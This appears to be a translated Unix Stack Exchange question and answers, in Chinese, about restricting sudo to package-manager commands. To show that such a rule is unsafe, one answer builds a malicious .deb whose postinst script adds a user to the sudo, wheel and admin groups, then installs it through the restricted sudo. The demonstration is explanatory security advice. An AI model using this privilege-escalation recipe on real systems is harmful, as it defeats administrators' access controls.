Linux

如何將 sudo 限制為僅用於 rpm/deb 的使用者

  • November 13, 2022

無論如何限制使用者的 sudo,以便僅呼叫 rpm/deb 來安裝軟體包?

要賦予bill執行能力apt-get,只需將其添加到/etc/sudoers

bill          ALL = /usr/bin/apt-get

為了提供johnbob能夠執行多個命令中的任何一個,我們可以為它們創建一些更具可擴展性的組:

User_Alias    INSTALLERS = john, bob

Cmnd_Alias    INSTALL = /usr/bin/dpkg, \
                       /usr/bin/apt, \
                       /usr/bin/yum, \
                       /usr/bin/dnf

INSTALLERS    ALL = INSTALL

我喜歡這個想法(原則上),因為讓您的使用者從受信任的來源安裝軟體包而不給他們完整的 root 權限是很好的。授予他們訪問權限apt而不授予他們對/etc/apt/sources.list{,.d}. 會出什麼問題?

但是,下面我將展示它是多麼容易被濫用。

$ mkdir -p elevator_1.0/DEBIAN
$ cat > elevator_1.0/DEBIAN/control <<EOF
Package: elevator
Version: 1.0
Architecture: all
Maintainer: Anonymous <anon@debian.org>
Description: Malicious permission elevator
Installing this package will elevate permissions of a user.
Uninstalling will not undo this
EOF
$ cat > eleavtor_1.0/DEBIAN/postinst <<EOF
#!/bin/bash
usermod -a -G sudo bob
usermod -a -G wheel bob
usermod -a -G admin bob
echo "bob has been elevated!"
EOF
$ dpkg-deb -b elevator_1.0
dpkg-deb: building package 'elevator' in 'elevator_1.0.deb'.

$ sudo apt install ./elevator_1.0.deb 
...
The following NEW packages will be installed:
 elevator
...
Preparing to unpack .../elevator_1.0.deb ...
Unpacking elevator (1.0) ...
Setting up elevator (1.0) ...
bob has been elevated

如果有更安全的方法,我當然會感興趣。我給我的員工 root 訪問權限,只是因為他們需要能夠從官方 debian 存檔和我們公司的內部存檔安裝軟體。我已經告訴他們​​不要添加不受信任的來源,但我無法強制執行。

無論如何限制使用者的 sudo,以便僅呼叫 rpm/deb 來安裝軟體包?

是的; man sudoers詳細解釋並舉例說明如何做到這一點。

但是這樣做是沒有意義的:允許我安裝任何 rpm,而你已經給了我 root 權限。一個包可以包含任意設置腳本,這些腳本可以執行我想要的操作並以 root 身份執行,或者它們可以簡單地包含一個與 sudo 執行相同但不限制我的程序。

(對於deb任何其他包管理器,或者實際上,對於任何允許執行程式碼的程序都是如此)

引用自:https://unix.stackexchange.com/questions/724628